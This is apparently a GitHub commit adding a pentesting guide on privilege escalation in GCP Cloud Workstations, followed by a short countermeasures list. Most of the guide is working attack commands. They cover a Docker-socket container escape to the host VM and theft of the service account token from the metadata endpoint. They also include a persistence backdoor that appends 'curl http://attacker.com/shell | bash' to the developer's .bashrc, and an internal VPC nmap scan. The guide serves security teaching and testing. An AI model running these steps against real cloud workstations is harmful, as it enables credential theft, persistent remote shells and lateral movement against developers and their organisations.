Skip to content

Commit 4a16d25

Browse files
committed
Add GCP Cloud Workstations privesc guide
Add a new guide documenting privilege escalation paths for GCP Cloud Workstations. Covers Docker-in-Docker container breakout via /var/run/docker.sock, step-by-step escape to the host VM, stealing the VM service account token from IMDS, persistence by backdooring the host home, network pivot techniques, and recommended countermeasures. Includes reference to an automation script and training banners.
1 parent 6918c55 commit 4a16d25

1 file changed

Lines changed: 124 additions & 0 deletions

File tree

Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
# GCP - Cloud Workstations Privesc
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
## Cloud Workstations
6+
7+
For more information about Cloud Workstations check:
8+
9+
{{#ref}}
10+
../gcp-services/gcp-cloud-workstations-enum.md
11+
{{#endref}}
12+
13+
### Container Breakout via Docker Socket (Container -> VM -> Project)
14+
15+
The primary privilege escalation path in Cloud Workstations stems from the requirement to support **Docker-in-Docker (DinD)** workflows for developers. When the workstation configuration mounts the Docker socket or allows privileged containers (a common configuration), an attacker inside the workstation container can escape to the underlying Compute Engine VM and steal its service account token.
16+
17+
**Prerequisites:**
18+
- Access to a Cloud Workstation terminal (via SSH, compromised session, or stolen credentials)
19+
- The workstation configuration must mount `/var/run/docker.sock` or enable privileged containers
20+
21+
**Architecture context:** The workstation is a container (Layer 3) running on a Docker/Containerd runtime (Layer 2) on a GCE VM (Layer 1). The Docker socket gives direct access to the host's container runtime.
22+
23+
> [!NOTE]
24+
> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automates the full container escape and drops you into a root shell on the host VM.
25+
26+
<details>
27+
28+
<summary>Step 1: Check for Docker socket</summary>
29+
30+
```bash
31+
# Verify the Docker socket is available
32+
ls -l /var/run/docker.sock
33+
# Expected output: srw-rw---- 1 root docker 0 ...
34+
```
35+
36+
</details>
37+
38+
<details>
39+
40+
<summary>Step 2: Escape to the host VM filesystem</summary>
41+
42+
We launch a privileged container, mounting the host's root directory to `/mnt/host`. We also share the host's network and PID namespace to maximize visibility.
43+
44+
```bash
45+
# Spawn a privileged container mounting the host's root filesystem
46+
docker run -it --rm --privileged --net=host --pid=host \
47+
-v /:/mnt/host \
48+
alpine sh
49+
50+
# Inside the new container, chroot into the host
51+
chroot /mnt/host /bin/bash
52+
```
53+
54+
You now have a **root shell on the underlying Compute Engine VM** (Layer 1).
55+
56+
</details>
57+
58+
<details>
59+
60+
<summary>Step 3: Steal the VM service account token from IMDS</summary>
61+
62+
```bash
63+
# From the host VM, query the Instance Metadata Service
64+
curl -s -H "Metadata-Flavor: Google" \
65+
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
66+
67+
# Check which service account is attached
68+
curl -s -H "Metadata-Flavor: Google" \
69+
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
70+
71+
# Check scopes (CRITICAL STEP)
72+
curl -s -H "Metadata-Flavor: Google" \
73+
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
74+
```
75+
76+
</details>
77+
78+
> [!CAUTION]
79+
> **Check the Scopes!**
80+
> Even if the attached Service Account is **Editor**, the VM might be restricted by access scopes.
81+
> If you see `https://www.googleapis.com/auth/cloud-platform`, you have full access.
82+
> If you only see `logging.write` and `monitoring.write`, you are limited to the **Network Pivot** and **Persistence** vectors below.
83+
84+
<details>
85+
86+
<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
87+
88+
Cloud Workstations mount a persistent disk to `/home/user`. Because the container user (usually `user`, UID 1000) matches the host user (UID 1000), you can write to the host's home directory. This allows you to backdoor the environment even if the workstation container is rebuilt.
89+
90+
```bash
91+
# Check if you can write to the host's persistent home
92+
ls -la /mnt/host/home/user/
93+
94+
# Drop a backdoor that executes next time the developer logs in
95+
# Note: Do this from the container escape context
96+
echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
97+
```
98+
99+
</details>
100+
101+
<details>
102+
103+
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
104+
105+
Since you share the host network namespace (`--net=host`), you are now a trusted node on the VPC. You can scan for internal services that allow access based on IP whitelisting.
106+
107+
```bash
108+
# Install scanning tools on the host (if internet access allows)
109+
apk add nmap
110+
111+
# Scan the internal VPC subnet
112+
nmap -sS -p 80,443,22 10.0.0.0/8
113+
```
114+
115+
</details>
116+
117+
**Countermeasures:**
118+
119+
* Disable "Running as root" in the Workstation Configuration
120+
* Do not mount `/var/run/docker.sock` — use remote builders (e.g., Cloud Build) instead
121+
* Assign a **custom service account** with minimal permissions to workstation configurations (e.g., `roles/source.reader`, `roles/artifactregistry.reader`)
122+
* Place the workstation project inside a **VPC Service Controls** perimeter
123+
124+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)